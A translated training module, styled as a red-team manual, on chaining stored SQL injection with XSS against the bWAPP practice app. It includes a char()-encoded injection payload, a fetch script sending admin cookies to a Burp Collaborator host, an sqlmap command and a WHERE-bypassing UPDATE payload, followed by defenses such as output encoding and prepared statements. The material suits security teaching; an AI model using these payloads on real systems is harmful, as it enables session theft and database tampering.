Ir al contenido

📕 FIELD MANUAL 5.1: STORED SQL INJECTION AND XSS CHAINING

Objective: We will inject persistent malicious content into the database to attack privileged users (Administrators).

0views

Classification: RED TEAM EYES ONLY

Objective: We will inject malicious persistent content into the database to attack privileged users (Administrators).

bWAPP Targets: SQL Injection - Stored (Blog).

MITRE ATT&CK: T1190, T1059.007 (Cross-Site Scripting).

  • Reflected (What we have done so far): The attack happens in real time. We send the malicious link, the victim clicks it, and it occurs.
  • Stored (Persistent): The attack is saved. We will upload a comment to a blog today. The administrator will read it in a week. The code will execute in the administrator's browser at that moment.

We will imagine a comment system on a Blog. Backend Code (Simplified):

$comentario = $_POST['comment'];
// Vulnerabilidad: INSERT directo sin sanitizar
$sql = "INSERT INTO comments (body) VALUES ('$comentario')";
mysqli_query($link, $sql);

If we manage to manipulate $comentario to close the quote and add our own fields or commands, we will permanently alter the integrity of the database.

The goal is not just to break the SQL (which we could), but to use SQLi to bypass XSS filters or simply to place a JavaScript payload where the administrator will see it.

In bWAPP (Blog), we will intercept the request to submit a comment. It will likely be a INSERT INTO blog (date, entry, owner) VALUES (...).

We want to inject a script that steals the administrator's cookies. If the application filters <script> on the frontend, we can often use SQL Hex Encoding to sneak it through, as the database will decode it when saving.

Conceptual Payload (Stored XSS via SQL): Let's assume we will inject into the entry field.

Test', (SELECT char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))) --
  • Explanation: char(...) is the ASCII representation of <script>alert(1)</script>.
  • Effect: The database will execute the char() function, convert the numbers to text, and save <script>alert(1)</script> in the table.
  • Result: When the admin views the blog, the script will execute and trigger the alert.

Instead of alert(1), we will use a “Pixel Tracker” or a fetch to send the cookie to our server (Burp Collaborator).

JS Payload:

<script>fetch('[http://burpcollaborator.net/?cookie=](http://burpcollaborator.net/?cookie=)' + document.cookie)</script>

SQLMap can exploit stored injections, but it needs to know two things:

  1. The URL where it is injected (the comment POST).
  2. The URL where the result is viewed (the blog page).

Command:

sqlmap -u "http://bwapp/sqli_16.php" \
--data="entry=test&action=blog" \
--second-url="http://bwapp/sqli_16.php" \
--technique=E \
--dbs
  • -second-url: Tells SQLMap: “Inject into the main URL, but look for the result (or the error) in this second URL”. Fundamental for Stored SQLi.

4. ESCALATION: DEFACEMENT AND TOTAL PERSISTENCE

Sección titulada «4. ESCALADA: DEFACEMENT Y PERSISTENCIA TOTAL»

If we have control of INSERT or UPDATE, we can do more than XSS.

If we find an injection in a UPDATE (e.g., changing my profile) and manage to comment out the WHERE clause:

  • Original Query: UPDATE users SET bio='$bio' WHERE id=5
  • Payload: Hackeado por RedTeam' -- -
  • Resulting Query: UPDATE users SET bio='Hackeado por RedTeam' -- - WHERE id=5
  • Effect: By deleting the WHERE, the database will update ALL rows. We will have changed the biography of all users (including the admin) to “Hacked by RedTeam”.
  1. Database Analysis: We will periodically scan the database tables for dangerous patterns (<script>, javascript:, onerror=) in text columns.
  2. Outgoing WAF: A well-configured WAF not only blocks incoming attacks but also filters outgoing HTML responses. If we detect that the database is returning a <script> in a field that should be plain text, we will block it.
  1. Output Encoding (Context-Aware): It is the #1 defense against XSS, even if SQL injection was successful.
    • When printing the comment in PHP: echo htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8');.
    • This converts <script> to &lt;script&gt;, which the browser will display as text but not execute.
  2. Prepared Statements: We will prevent the SQL payload from manipulating the INSERT in the first place.

Status: Module 5.1 Completed. Mission in bWAPP: We will use the Blog form to insert a comment containing a simple SQL injection (test') to see if we break the page, and then we will attempt to sneak in a persistent alert(1).